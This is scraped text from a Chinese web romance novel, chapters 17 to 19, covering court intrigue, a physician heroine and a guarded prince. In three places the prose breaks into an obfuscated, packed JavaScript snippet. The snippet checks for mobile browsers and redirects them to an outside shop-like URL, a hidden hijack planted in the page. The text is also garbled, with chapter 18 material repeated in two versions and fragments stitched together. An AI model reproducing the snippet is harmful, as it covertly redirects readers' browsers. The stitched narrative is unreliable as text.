热粥晾了片刻，这会温度正好下口。她一连喝上几勺，饥肠辘辘的胃很快回暖而满足。 期间，老夫人慈爱地为她几次夹菜，显然已是气消。 两厢结合，华姝心情松缓，眉眼也雀跃起来。 只是始终没抬眼去瞧对面之人，偏又时刻在留意那边的动静。 忽见他慢条斯理放下玉箸，然后，话茬就莫名地转到了她身上，“若你晚间需要单独回府，我可另派人护你周全。” 却不待华姝感谢这番善解人意，老夫人的火气再度被拱起：“你哪里能如此纵她？合该早些回来，好生休息。” “嗯，母亲所言极是。” 孝顺的镇南王爷，未有丝毫反驳。 一来二去，不可晚归之事，就这么被敲定。 当事人华姝，自始至终未来得及发表一句意见。 她窦疑丛生，后知后觉想起件事，抬眼探究地看向对面。 她晚归一事，又是哪位仁兄向老夫人告状的呢？ 17. 第 17 章 菊花烂漫，霜染红枫，深秋有信，岁月轮转。 日子步入九月上旬，审查兵部尚书贪污一事，进入最后的紧要阶段。 金銮殿，早朝。 霍霆一袭金蟒绯色朝服，魁岸的身形泰然坐于轮椅，位列武官之首。 对面文官之列，刑部尚书：“启禀皇上，臣在兵部侍郎等人的协助下，反复核查，现确认右佥都御史沈之鹊大人的证词与实不符。” “沈大人谏言，前任兵部尚书司空震倒卖兵马，确有其事。只是沈大人所提供的账簿，实属伪造。” “这不可能！” 沈之鹊急忙跪到殿前，“臣所提交账簿，乃亲自从那马贩子手中所获，还望皇上明鉴。” 兵部侍郎孙诚，相继出列呈禀：“启奏皇上，臣前日已带手下抓获那马贩子。此人乃司空震同党，想必之前有意帮着掩盖罪行。” “幸好，真实账簿已被臣搜查出，亦是经过刑部和户部多方查证确认，还请皇上过目。” 随后，内侍监取走账簿，直达天听。 这账簿，正是萧成悄悄从尚书府顺走的那本，如假包换。 至于沈之鹊找到的那本，即为留下的赝品，所列账目半真半假。 昭文帝正襟危坐于龙椅上，将几份奏折的证词一一过目，再瞧沈之鹊时，已然龙颜不虞：“成事不足，败事有余。” 沈之鹊顿时后脊发凉，连连叩首：“皇上恕罪，皇上恕罪。臣日后再查取证物时，必当千倍万倍严谨，再不犯此等失误。” “沈之鹊，你担任右佥都御史多年无长进，实在难堪大任。”昭文帝沉脸道：“念在你此次检举尚有可取之处，姑且外派山西监察御史。你此行务必好生锤炼，严谨督查当地官员。” 沈之鹊面如死灰，本想凭借这政绩一飞冲天，结果却被贬为地方官了哟！ 可皇命不可违，他只能叩谢隆恩，颤颤巍巍地归列。 文武百官见此，无不唏嘘。 搜证本应交由刑部，他一个言官好大喜功，非要掺和查证，如今真是贪心不足蛇吞象。 霍霆觑了眼痛心疾首的沈之鹊，淡淡收回目光。 “至于司空震，胆敢倒卖战马，罪不可恕！”昭文帝再度下旨：“即日起流放岭南，永生不得释放。” “臣谨遵圣意，定对司空震严惩不贷。”刑部尚书归列。 兵部侍郎孙诚没走，“皇上，微臣先前只是暂代兵部尚书一职。如今此事已了，日后该由何人主理兵部诸事？” 昭文帝看向下方，“诸位爱卿有何见解？” 兵部尚书乃当朝正三品大员，实属要职。 能堪大任者凤毛麟角，有资格谈论此事的官员更少之又有少。 文武百官不敢轻易冒头，一时间，金銮殿鸦雀无声。 眼看事情陷入僵局，立于御案前的一人，欣然开口：“奴才拙见，镇南王少年即中进士，如今更擅调兵遣将，实为不二人选。” 东厂督公，裴夙。 自幼与圣上相伴左右，如今执掌上千名东厂番子，身着绛紫色的飞鱼服，护卫天子左右。 三十又一的他，平日保养得当，玉姿欣长。 拧断人脖子时，一双清润的月亮眼仍笑眯眯的，不见皱纹。 “咳咳……” 金銮殿上，响起一阵突兀又急促的咳嗽声。 霍霆拱手告罪，“臣这重伤未愈，着实有心无力，还请皇上恕罪。” 他这时接受兵部尚书，不仅容易暴露对当年之事的追查，还愈发功高震主。 裴夙作为天子近臣，这提议里几分真意，几分试探，在场众人皆是心知肚明。 他本人则状若无事，又笑眯眯道:“本督倒是略有诊脉的经验，不若为王爷瞧上一瞧？” 两人的目光，在半空骤然相对。 一道含笑隐刃，一道凛冽肃伐。 刹那交汇而离，又仿佛刀光剑影千万回合。 “督公平日只为皇上诊脉，本王不敢劳驾，还是下朝后去医馆罢。” 霍霆淡声回绝，转头看向霍雲，“恰好长兄这次负责安置三军，义诊的医馆颇多，不知哪位大夫好些？” 霍雲收到信号，随即出列。 该轮到他上场了。 “大夫都是好大夫，只是药材跟不上哟。” “皇上，前任兵部尚书曾言，并无银两安置将士。以致这半月来，医馆义诊日日捉襟见肘，微臣夜夜辗转难眠啊……” 霍雲长吁短叹，愁容满面，就差捶胸顿足了。 说到最后，“如今这查抄赃款所获，可否稍加分配呀？” 刚刚面露同情的百官：“……” 嚯，合着哭穷要钱来了？！ 昭文帝瞧瞧病恹恹的霍霆，再看看苦大仇深的霍雲，最后与裴夙对视一眼。 呵，原来是在这等着呢。 综合考虑大局，为稳定军心，昭文帝最终批拨白银万两，用以将士安置。并由孙诚继续代理兵部诸事，辅助户部尚书下发此笔款项。 但也半开玩笑，半似敲打地看向霍霆两人，“你们还真是‘兄弟同心，其利断金’呐！” * 下朝后，御书房。 “初安，你瞧着这镇南王的双腿，可还有治愈的可能？”昭文帝边用早膳，边随口问道。 裴夙被恩赐同桌而食，但大多时都在为昭文帝布菜。 “先前派去数位太医，皆言那双腿久无知觉，药石罔治。不过，陛下既如此看重，奴才这就再派人去探访名医，想法子。” 一双笑眯眯的月牙眼，瞳仁深处，暗芒重重。 出宫的路上，烈日当头，裴夙撑着一柄遮阳伞悠然前行，伞面上水墨画仙鹤展翅，栩栩如生。 “上次约见小姝，是几月来着？” “回督主，还是阳春三月呢。”心腹容城低声道：“如今时值九月，也有半年的光景了。” “九九重阳节，正是登高时。”裴夙眼前浮出一双灵巧用银针的玉手，眸光乍暖而玩味：“这次，就安排在皇龙寺。” “皇龙寺乃皇家寺院，华姑娘要去的话，得执一封有分量的拜帖……”容城反应过来：“您是要对镇南王出手？” 寒风乍起，御花园一片的红枫叶，随风而落。 裴夙轻笑着，将其碾得粉碎。 不是他，是昭文帝。 霍霆如今在军中与民间，声望皆是颇高，是一柄双刃剑。昭文帝作为持剑人，必须要知其底细，足够驾驭。 皇帝卧榻之下，岂容猛虎酣睡？ * 下午过半，回春堂内的将士，依旧络绎不绝。 很多人甚至舍近求远，只为一睹女神医仙姿。更有人热情地一再送糕点糖果，但都被华姝委拒。 趁空隙，霍千羽调侃道：“唉，郎本将心向明月，奈何明月照沟渠……唔。” 华姝捻起白糖糕，堵住她叭叭的小嘴。 “两位小姐原是喜好白糖糕，在下这里正好备着些，可好吃了。”下一位看诊的士兵，瞅准机会，又要极力攀谈。 被婉拒后，他也不气馁，献宝似的道：“皇龙寺的神医圆妙大师，近日云游归来。传闻他可起死人，肉白骨。” 士兵看向霍千羽的腿，“您何不去一试？” 这的确是个好消息。 霍千羽的腿疾，多年遍寻名医不得治，华姝早就想带她前去瞧瞧。只是圆妙大师常年云游，且寻常人也进不去那皇家寺院。 “今时不同往日呀！”霍千羽眼前一亮：“咱可以请四叔写封拜帖。” 华姝笑意微滞。 自打那晚后，两人已有数日未见。有意捅破那层窗户纸的是他，早出晚归寻不见人的也是他。 以至于筹集的银钱，想送却送不出去。 华姝没再去周莲那，最后的诊金没拿到，她就典当了首饰，加上多年积攒，凑够两千两。 一千两偿还血燕，一千两淘换珍稀药材，为霍霆清除余毒。 等他痊愈，就会回到东南边境。 届时，两人的关系就渐渐淡了，两厢清净…… “姝儿，姝儿？”霍千羽在她眼前挥挥手，“想啥呢？” 华姝回神：“哦我在想，可以请圆妙大师为四叔一同看看腿伤。” “有道理！” “可是最近都不见四叔身影啊，别回头圆妙大师又去云游了。” 霍千羽先是愁眉紧锁，转而双手合十，对天祈祷： “佛祖保佑，圆妙大师暂时不走。” “太上老君保佑，圆妙大师有灵丹妙药。” “天灵灵，地灵灵，战神四叔快显灵！” “请您速速现身，普度人间……” “噗哧。” 华姝瞧着她神神叨叨的样子，单手托腮莞尔：“我忽然想起话本子里，有个召唤人的法子。” “哪个？” “拿一开口的葫芦，对着四叔所在的方向，喊一句,”华姝另一纤手灵动比划道：“我叫你一声，你敢答应吗？” “有何不敢？” 背后，忽传来一道熟悉的肃然沉声。 “……？” “……！” 俩小姐妹顿时呆若木鸡，小心翼翼朝后瞥去。 窗外街边，等会看诊的上千将士，早已抱拳跪地，均朝同一处行礼。 那处，霍霆着一袭绣有日月山河纹的绯色蟒袍，俨然如层峦叠嶂般，巍峨而坐，自带强悍威压。 霍千羽眨巴眨巴眼：“好家伙，四叔还真显灵了……” “……见过四叔。” 华姝则耳垂被臊得滴血，慢吞吞转过身，规矩行礼。 一共就在背后议论他两次，结果次次都被听个正着。这倒霉的气运，她真该去庙里拜拜。 霍霆定睛瞧着这俩胆大包天的小家伙，脸色是领兵时的肃然，眸光则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人对坐在方桌前，诊脉结束后，华姝收回手，“毒素积压已久。如今的药方，尚能压制您体内余毒，只是于清除毒素已无益。” “这毒刁钻。”霍霆也收回手，并未意外道:“军医已研究出法子，那药材难寻些。” 华姝点点头，想来军医是外出寻药了。 默了默，她提及皇龙寺的圆妙大师一事。 “原是因此事，才想起念叨我啊。”霍霆叹了口气，兀自饮茶。对拜帖的事，不置可否。 华姝赧颜，这般听起来，她似显得忘恩负义了些。 为着拜帖，她咬了咬唇，细声解释:“其实，我这几日也琢磨出一副药方。待圆妙大师为您诊脉后，想拿与他一并把把关。” 霍霆放下青瓷茶盏，“既非临时起念，恒心可嘉，倒也能全你这番美意。” “多谢王爷，我……” 对上男人意味深深的目光，华姝脸颊忽地一热，鲜艳欲滴。 他莫不是误会了吧，误会她日日都念着他。 她的话，好像还真有层意思。 可她又不是这意思。 华姝唇瓣开开阖阖，百口莫辩。慌忙低头假装喝茶，心跳凌乱。 霍霆饶有兴致瞧了她会，“如今安置费已宽裕，你大伯父会另招坐诊大夫。你俩连日辛劳，早些回府歇着吧。” “这是好事，可喜可贺。不过我手头有几位病患，已疗程过半。可否等他们彻底痊愈，我再结束这边的差事？” “你愿善始善终，实为好品行，也是他们的幸事。但那宋煜，已被他父亲户部尚书保释出来。” 霍霆道:“你留在这，我……和你祖母都不放心。” 华姝脸颊又一红，这人又来拿祖母压她。 但对于宋煜入狱一事，倒颇为意外。 原来霍霆在背后，还为她默默做了此事。 不好拂了他的良苦用心，华姝乖乖应下：“我明白了，多谢王爷。那我等会就去将脉案稍加整理，移交给其他大夫。” 回家后，正好专心为他解毒。 早日了结山中恩怨。 这时，长缨在门外禀告：“王爷，兵部侍郎孙大人前来巡查。得知您在此处，想邀您小酌一杯。” 此为暗语。 孙诚实为霍霆的人，如今代管兵部，查抄前兵部尚书司空震的府邸。 应是搜到当年华家灭门的线索，特来密告。 霍霆：“知道了，你且去烫壶好酒。” “是。”长缨退下。 华姝也识趣地起身告辞，临出门前，她犹豫着还是顿住脚步，善意提醒：“王爷如今身体抱恙，还是少饮酒为好。” 闻言，霍霆低笑了声。 华姝面露不解。 就见他微挑眉梢，“怎么，现在就开始管着我了？” 18. 第 18 章 下午过半，回春堂内的将士，依旧络绎不绝。 很多人甚至舍近求远，只为一睹女神医仙姿。更有人热情地一再送糕点糖果，但都被华姝委拒。 趁空隙，霍千羽调侃道：“唉，郎本将心向明月，奈何明月照沟渠……唔。” 华姝捻起白糖糕，堵住她叭叭的小嘴。 “两位小姐原是喜好白糖糕，在下这里正好备着些，可好吃了。”下一位看诊的士兵，瞅准机会，又要极力攀谈。 被婉拒后，他也不气馁，献宝似的道：“皇龙寺的神医圆妙大师，近日云游归来。传闻他可起死人，肉白骨。” 士兵看向霍千羽的腿，“您何不去一试？” 这的确是个好消息。 霍千羽的腿疾，多年遍寻名医不得治，华姝早就想带她前去瞧瞧。只是圆妙大师常年云游，且寻常人也进不去那皇家寺院。 “今时不同往日呀！”霍千羽眼前一亮：“咱可以请四叔写封拜帖。” 华姝笑意微滞。 自打那晚后，两人已有数日未见。以至于筹集的银钱，想送却送不出去。 给花魁周莲的诊治进入尾声，因疗效得当，周莲欢喜地赠与一副镶金的红宝石芙蓉头面，甚是金贵华美。 华姝命半夏去典当了这副头面，加上多年积攒，已凑够两千两。 一千两偿还血燕，一千两淘换珍稀药材，为霍霆清除余毒。 等他痊愈，两人就能彻底划清界限…… “姝儿，姝儿？”霍千羽在她眼前挥挥手，“想啥呢？” 华姝回神：“哦，我在想，可以请圆妙大师为四叔一同看看腿伤。” “有道理！” “可是最近都不见四叔身影啊，别回头圆妙大师又去云游了。” 霍千羽先是愁眉紧锁，转而双手合十，对天祈祷： “佛祖保佑，圆妙大师暂时不走。” “太上老君保佑，圆妙大师有灵丹妙药。” “天灵灵，地灵灵，战神四叔快显灵！” “请您速速现身，普度人间……” “噗哧。” 华姝瞧着她神神叨叨的样子，单手托腮莞尔：“我忽然想起话本子里，有个召唤人的法子。” “哪个？” “拿一开口的葫芦，对着四叔所在的方向，喊一句,”华姝另一纤手灵动比划道：“我叫你一声，你敢答应吗？” “有何不敢？” 背后，忽传来一道熟悉的肃然沉声。 “……？” “……！” 俩小姐妹顿时呆若木鸡，小心翼翼朝后瞥去。 窗外街边，等会看诊的上千将士，早已抱拳跪地，均朝同一处行礼。 那处，霍霆着一袭绣有日月山河纹的绯色蟒袍，俨然如层峦叠嶂般，巍峨而坐，自带强悍威压。 霍千羽眨巴眨巴眼：“好家伙，四叔还真显灵了……” “……见过四叔。” 华姝则耳垂被臊得滴血，慢吞吞转过身，规矩行礼。 一共就在背后议论他两次，结果次次都被听个正着。这倒霉的气运，她真该去庙里拜拜。 霍霆定睛瞧着这俩胆大包天的小家伙，脸色是领兵时的肃然，眸光则浮着一层浅浅的柔色。 他还不至于真跟俩孩子计较，尤其今日朝廷上心愿大成。 但瞥见那脸红垂头的少女，又罕见生出一丝计较心思，想戳一戳这只缩头小乌龟的壳。 古人亦有龟甲卜卦的法子，也不知真能灵验否。 “免礼，下不为例。” 霍霆挥手命众人起身，而后由长缨推着，莅临回春堂正门。 他此行没带糕点吃食，但带来两大箱银裸子。四侍卫抬着放到地上，“哐哐”两声震响，振奋人心。 “将军威武！” “我等誓死追随将军！” “保卫大昭！护佑百姓！” 将士们再度齐声拜谢。 回春堂的胖老板亦然：“多谢王爷！多谢王爷！草民这就去购买最对症的药材，绝不叫将士们寒心。” “坐诊大夫的酬劳，也一并按日结算。”霍霆发话。 胖老板感动不矣：“王爷英明。” 出来相迎的坐诊大夫们，也纷纷喜上眉梢。 一时间，回春堂内欢声笑语，经久不散。 唯独华姝，钦佩欢喜之余，杏眸怔然看去。 他这是在变相帮衬她吗？ 霍霆回看过来，“军医近日告假，过来给我瞧瞧。” 华姝脸色微变：“可是那……”毒压制不住了？ 霍霆：“进去说。” 胖老板已麻溜推开一清雅幽静的内间，“王爷这边请。” 见状，华姝忙去收拾银针和手枕等物。 临进门时，半夏被长缨拦在门外，欲言又止：“姑娘？” 那晚叔侄两人的亲密，半夏已远远察觉,她这会实在不放心。 “没事，我有分寸。”华姝拍拍她手，走进去。 长缨随即关紧房门，“放心吧，有些事你不懂。” 他现在可不是被蒙在鼓里的二傻子了。 半夏白了这傻子一眼，好像那晚就他瞧见似的…… * 内间窗户朝向后院，清净而敞亮，空气中飘散着淡淡的药香。 两人对坐在方桌前，诊脉结束后，华姝收回手，“毒素积压已久。如今的药方，尚能压制您体内余毒，只是于清除毒素已无益。” “这毒刁钻。”霍霆也收回手，并未意外道:“军医已研究出法子，那药材难寻些。” 华姝点点头，想来军医是外出寻药了。 默了默，她提及皇龙寺的圆妙大师一事。 “原是因此事，才想起念叨我啊。”霍霆叹了口气，兀自饮茶。对拜帖的事，不置可否。 华姝赧颜，这般听起来，她似显得忘恩负义了些。 为着拜帖，她咬了咬唇，细声解释:“其实，我这几日也琢磨出一副药方。待圆妙大师为您诊脉后，想拿与他一并把把关。” 霍霆放下青瓷茶盏，“既非临时起念，恒心可嘉，倒也能全你这番美意。” “多谢王爷，我……” 对上男人意味深深的目光，华姝脸颊忽地一热，鲜艳欲滴。 他莫不是误会了吧，误会她日日都念着他。 她的话，好像还真有层意思。 可她又不是这意思。 华姝唇瓣开开阖阖，百口莫辩。慌忙低头假装喝茶，心跳凌乱。 霍霆饶有兴致瞧了她会，“如今安置费已宽裕，你大伯父会另招坐诊大夫。你俩连日辛劳，早些回府歇着吧。” “这是好事，可喜可贺。不过我手头有几位病患，已疗程过半。可否等他们彻底痊愈，我再结束这边的差事？” 华姝思及周莲的病情，还得去看诊一两次，遂柔声打起商量。 “你愿善始善终，实为好品行，也是他们的幸事。”霍霆道:“但你已连日辛劳，再留在这，我……和你祖母都很挂念。” 华姝脸颊又一红，“那我再留最后两日，行不行？” 她解释道：“将脉案稍加整理，移交给其他大夫。然后就回府去，专心为您解毒。” 也不知是哪句话打动了霍霆，只见他唇角微勾，点头应允。 华姝的唇角，也忍不住翘起一抹雀跃的小弧度：“多谢王爷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037343|145271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这时，长缨在门外禀告：“王爷，兵部侍郎孙大人前来巡查。得知您在此处，想邀您小酌一杯。” 此为暗语。 孙诚实为霍霆的人，如今代管兵部，查抄前兵部尚书司空震的府邸。 应是搜到当年华家灭门的线索，特来密告。 霍霆：“知道了，你且去烫壶好酒。” “是。”长缨退下。 华姝也识趣地起身告辞，临出门前，她犹豫着还是顿住脚步，善意提醒：“王爷如今身体抱恙，还是少饮酒为好。” 闻言，霍霆低笑了声。 华姝面露不解。 就见他微挑眉梢，“怎么，现在就开始管着我了？” 她怔怔地反映一瞬，然后脑中轰得一声，雪腮爆红，落荒而逃。 * 华姝从幽静的包间里，一路逃回人声鼎沸的医馆大堂。 斜映入窗的光影，跳动在她频频眨动的长睫上，羞涩渐渐褪去，取而代之的是隐隐不安。 自打霍霆回府后，她一直反复猜测他的态度。 先前数日，他言行举止皆是端方持重，虽对她照料颇多，亦可归为长辈的慈爱。 然而，今日这番话……他似乎从未打算放过她。 后面她去还钱两清，他会同意吗？ “华姑娘，有个药方子得麻烦您过来帮我掌掌眼。” 胖老板将华姝叫到后院，避开霍千羽等人，悄悄告知：“那花魁的丫鬟来寻您，已将其带至那间厢房。” “多谢陈老板。”华姝感激他的周全，然后独自前往厢房，得知周莲晚上有客人，想请她今日早点过去看诊。 华姝略略思量，想到一个脱身的法子，隧答应下来：“那就，半个时辰后罢。” 送走那小丫鬟，她转身往大堂走。 途经那间雅致的包间，正逢长缨推开门，将满满一壶烧刀子酒端进去。 霍霆则兀自倒上一盏热茶，白雾冉升，茶香四溢。 “今日，本王可能要怠慢孙大人了，只能以茶代酒，与你小酌片刻。” 孙诚反应过来：“王爷伤势未愈，是下官考虑不周啊。” “也不全是，家里有人管。”霍霆轻笑道。 孙诚又反应一瞬，这镇南王早年一心保家卫国，迟迟未曾娶妻，据说连妾室、通房也没有过。 那这能管得住堂堂亲王的家人…… 孙诚会意一笑：“王爷当真孝顺啊。” 门外，华姝听懂了霍霆的弦外音后，已先一步背过身，匆匆退避。 但听完这位孙大人的回答，原本倍感忧惧的她，竟是神奇地笑出了声。 霍霆目送那抹倩影渐行渐远，直至长缨彻底关上门，才收回目光，亦是凤眸含笑。 * 随后，华姝与霍千羽提及刚刚在包间的谈话。 两人经商议，霍千羽提前回府歇着，顺便整理那几个士兵的脉案。 华姝则以去给霍霆买治伤药材为由，绕道去了周莲的家中。 殊不知，这会天还亮着，且她这次并非从回春堂后门悄悄前往，被守在暗处的萧成发现了，并一路跟去。 她更不知的是，一驾马车随后也停在周家门口，走进去一位锦袍公子。 与华姝才退亲的宋家大郎，宋煜。 “他怎么也来了？” “不会是想与嫂子重燃旧情吧？” 萧成再度急得抓耳挠腮，嫂夫人这护花使者可真不好当啊！ “不行，你赶紧去告诉老大。” 上回已被霍霆迁怒的那属下，堂堂八尺大汉，急得差点哭出来：“萧将军，您这次能不能换个人呐？” 我害怕啊—— 19. 第 19 章 与此同时，回春堂的包间内。 兵部侍郎孙诚，压低声音道：“王爷交代给下官的差事，已有着落了。” 说着，他从贴身的衣襟里，掏出一纸油黄信封，双手递给过去，“此乃从司空震的密室里搜查所获。” 想到什么，他又连忙补充道：“信上之言，下官可对天担保，绝不会向外透露半字！” “用人不疑疑人不用，你我不必如此。” 霍霆泰然自若地接过密信，展开信纸。大致浏览后，神色陡然一沉。 原来，华姝父亲出事前，除了向霍霆求助，还曾向一位友人寻求帮助。 但那友人出卖了华不为。 将其行踪透露给司空震，两人为向那幕后之人谄媚邀功，一边秘密截杀霍霆，一边设计火烧华家满门。 而这友人，名曰冯紫山。 但现如今，他还有另一重身份—— 皇龙寺的神医，圆妙大师！ 思及华姝先前才提及的话语，霍霆右手蓦地紧攥成拳，密信霎时褶皱成一团。 不算狭窄的包间内，原本喷香四溢的茶雾气，此刻冷凝至极点，侵袭着每一个角落，令人不寒而栗。 然而这时，经长缨通禀，萧成手下的那个倒霉脑袋，期期艾艾走进来。 瞧见霍霆脸黑如墨，那人越发欲哭无泪：“将、将军，属下有、有事禀告……” * 华姝也没想到，花魁周莲竟是宋煜私养的外室。 要知道，宋家大郎在外人眼中一向是端方君子，清廉为民。面前扶门而立的醉酒男子，她差点没认出。 半夏也嗤之以鼻，幸好自家姑娘退亲了。 周莲不知实情，只顾娇笑地上前搀扶宋煜。 病情大好，她迫不及待想挽回夫主的心，但未料到他今日来得这般早，只好对华姝道：“女神医，今日要不先到这？我家郎君难得回来一趟。” “那我们便不叨扰了。” 华姝乐得自在，起身就往外走。 怎知，宋煜酒酣思淫，“这神医竟是个小娘子，面纱取下来，给本公子瞧瞧。” “你放肆！”半夏拦着在中间，怒斥。 “一边去。” 宋煜不耐烦将她推搡开，旋即一把拽住华姝，扯下面纱。 见她秀美雪靥，他惊艳咂舌：“秀色掩今古，荷花羞玉颜。好一个尤物……等等，怎么如此眼熟？” “还请公子自重！”华姝羞愤难当，奋力挣扎。 宋煜酒醒几分，松开了手，华姝连连后退。 他则步步逼近，端详着她锦缎罗裙，熟悉俏脸，“医术、贵女……你是华姝？” 萧成隐在屋顶，迈出去的脚，又迟疑停住。 如今变成了旧爱相认，他的身份，没资格管呐。 老大怎么还没到啊？ 屋檐下，“我是偷跑出来的，不愿被家人知晓，想必宋公子亦然。不若我们就当从未见过，此事一笔勾销，如何？” 发现宋煜不可告人的秘密，但又在他的地盘上，华姝不得不防。她先假意露出把柄示弱，又佯装镇静求和。 而撑在半夏胳膊上的纤手，还在颤抖。 “既窥得我秘密，你还想走？”宋煜冷笑：“来人呐，给我抓住她俩！” “是！”数名小厮当即将她俩包围。 华姝主仆警惕盯着他们，脸色唰白。 “女神医乃妾的救命恩人，还请郎君高抬贵手。”周莲上前好言相劝，却被宋煜一巴掌掀飞在地，“你给我滚开。” 华姝见状，脸色越发惨白。 惊惶间，她想起霍霆的叮嘱，“宋公子，我乃镇南王府中人，您当真要将事情做绝？” 此话一出，小厮们骤然僵住，“镇南王？” 周莲也惊诧：“可是那位率领七万大军，凯旋回京的镇南王？” 宋煜的酒意，更是彻底消散，满身冷汗。 该死！他先前多番嫌弃这华姝是个孤女，竟忘了她与镇南王的关系。 如今镇南王手握重兵，就连圣上都得给三分薄面，他更得罪不起。 但眼下已经得罪了，那就只能毁尸灭迹…… “是在下酒后失得，多谢华姑娘大度不计较，改日定登门道歉。”宋煜恭敬地拱手赔礼。 “宋公子言重了。”华姝信以为真，扶着半夏匆忙往外走。 怎知，转身刹那—— “女神医小心！” 周莲尖声提醒。 事发突然，华姝根本来不及反应，眼看匕首就刺入她心口，突然这时，一柄飞镖“咻”得凌空射来，径直打飞宋煜的匕首。 “是谁？” “谁干的？” “给我滚出来！” 宋煜主仆瞬变惊弓之鸟，转着圈慌张找人。 华姝三人也左顾右盼，奈何天色渐晚，视线昏暗。 屋顶高处，霍霆迎风矗立，玄色的宽袖锦袍猎猎飞舞，与夜色融为一体。 他脸色沉郁，在听到华姝那句“我乃镇南王府之人”后，稍有和缓。 霍霆漠然觑着脚下的人不断叫嚣，却没动。 他腿上痊愈的事，不宜暴露。暗中保护华姝一事，也不宜暴露给当年的幕后凶手，更避免她徒增紧张。 “你去，只说正好路过。” 萧成不解：“这可是英雄救美，老大不亲自去？” 霍霆不耐瞧他，一脚就踹下去。 “哎哎哎——” “哐！” 萧成摔个四仰八叉。 这冤枉气，加窝囊气，最终还是他来受了…… 为挽回面子，他一个鲤鱼打滚翻身而起，“砰砰”几拳将人全打倒在地。 然后若无其事地朝华姝打招呼：“咱又见面了哈。” “……嗯。” 华姝呆滞半晌，脸色稍有恢复，“萧将军何故在此？” “我正好路过，听着像您的声音，就进来瞧瞧。”萧成脸不红心不跳。 华姝敬他是位将军，一时不疑，连忙郑重福身，“多谢萧将军。” “使不得！使不得！” 萧成像被火烧屁股，跳脚躲开，“天色不早了，此处有我，您早些回府吧。”要不然老大又得揍他。 华姝环顾乌烟瘴气的小院，心有余悸，长睫犹颤：“有劳。” 走出两步，她又回身，轻声问：“萧将军，我既无事，可否别再叨扰王爷？” “这……要不您敲晕我？” “……” 宋煜盯着华姝远去，双眼阴鸷。 近日，兵部尚书贪污一事被揭发，连带其女贤妃被废。皇后重病多年，后宫无主，皇上已有意让他胞妹入宫主持大局。 待成为国舅，不论霍霆，还是华姝，他一个都不放过！ 然后，不待宋煜做国舅爷，先被萧成扭送至顺天府的大牢。 * 华姝回到霍府，从偏门悄悄回到月桂居，连饮下数盏安神茶，才长长吁出一口浊气。 而后蔫蔫地倚在软塌上，无心用晚膳，一边点数现存的银钱，一边思量该如何应对霍霆。 认错是应当的，唯求他别告知祖母，别让老人家跟着担心。 不料，她转眼就被丫鬟捉住去了千竹堂。 灯火通明的主屋，圆桌上已摆满饭菜，都是她爱吃的。 只是某位老人家坐在软塌上，正生闷气呢。 华姝心虚不矣，环视一圈屋子，意外没瞧见霍霆的身影。 巧合么？ 也对，萧将军应该没她回府快。 呼…… 华姝提着一路的心，悄然放平。 然后强打精神，低眉垂眼走上前，轻摇着老夫人衣袖，软糯糯地撒娇：“祖母，姝儿知错了，日后再不敢贪晚了。” “哼。”老夫人扭头不去瞧她，但也没拂开她手。 华姝勾起唇角，再接再厉：“祖母，咱先吃饭饭吧，好不好嘛……” “咳。” 身后的净室，忽传来一道熟悉的男性清咳。 正撒娇的华姝，哑愣一瞬。 紧接着，脸颊腾得蹿红，耳边直冒热气。 他、他何时来的呀？ 秀气的小脸苦皱一团，窘样可爱极了。老夫人先被逗乐：“行吧，人已到齐，先用膳。” 屋内的仆从们也乐不可支，但碍于王爷在场，无人敢失礼。 桂嬷嬷憋笑去搀扶老夫人，其他丫鬟则抿嘴偷笑着忙活起来。 唯有华姝认命地松开老夫人衣袖，慢吞吞转过身，眼睫微垂，规矩福身行礼：“见过四叔。” 明亮烛台的光影，自高处洒落在她身上，桃粉罗裙染有柔和暖光，香腮也粉嫩嫩的。 嗓音低软，没了先前撒娇耍赖的肥胆儿。 但精神头，倒比霍霆预想中的好些，“先用膳。” 见他没发难，华姝彻底松口气。 乖巧点点头，红脸躲去净室梳洗，往脸上泼了好几捧冷水。 饭桌上，也只闷闷地蔫头吃饭。 本想喝碗热粥，奈何那只白玉雕花大碗摆在他手边，她咬咬唇没吭声。 霍霆全程看在眼里，轻扯嘴角：“给表姑娘换碗甜粥。” 丫鬟忙恭敬应是。 华姝抬头看去，霍霆也转眸看来，神色如常：“你腹饥太久，先喝热粥，暖胃。” 应是萧将军还未禀告吧。 华姝赧颜于他的细心，“多谢四叔。” 旁边，不明真相的老夫人，见此亲睦的情景，笑容颇为欣慰：“不错不错，见你们叔侄俩感情越来越好，我就放心了。” 叔：“……” 侄：“……” 随后，老夫人问及将士们的安置近况：“你大哥最近早出晚归，也没来得及问，那安置费可筹备齐全，是否需要家里再想想法子？” “此事儿子已有应对，母亲无需挂心。” 霍霆隐去错综复杂的权谋手段，只挑了两三个喜人消息，简洁应对。 不过，单是他从容不迫的语气，已足矣令人信服且安心：“那就好。你办事向来稳妥，为娘放心……” 华姝坐在旁边，边小口喝着甜粥，边安静听着，也由衷为将士们欢喜。 先前大伯父为此愁容惨淡，如今才过去几日，已被霍霆轻易破解。不得不钦佩，他的足智多谋。 米粥温度正好，香甜软糯，华姝不知不觉连喝几勺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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堂堂手握重兵的战神将军，不去处理国家大事，竟在这给她向祖母告状？ 她眼神幽怨看去，他从容自若：“今晚还回月桂居吗？” “……回。” * 临近安寝时辰，霍府的庭院无人，偶有寒鸦飞过树梢。 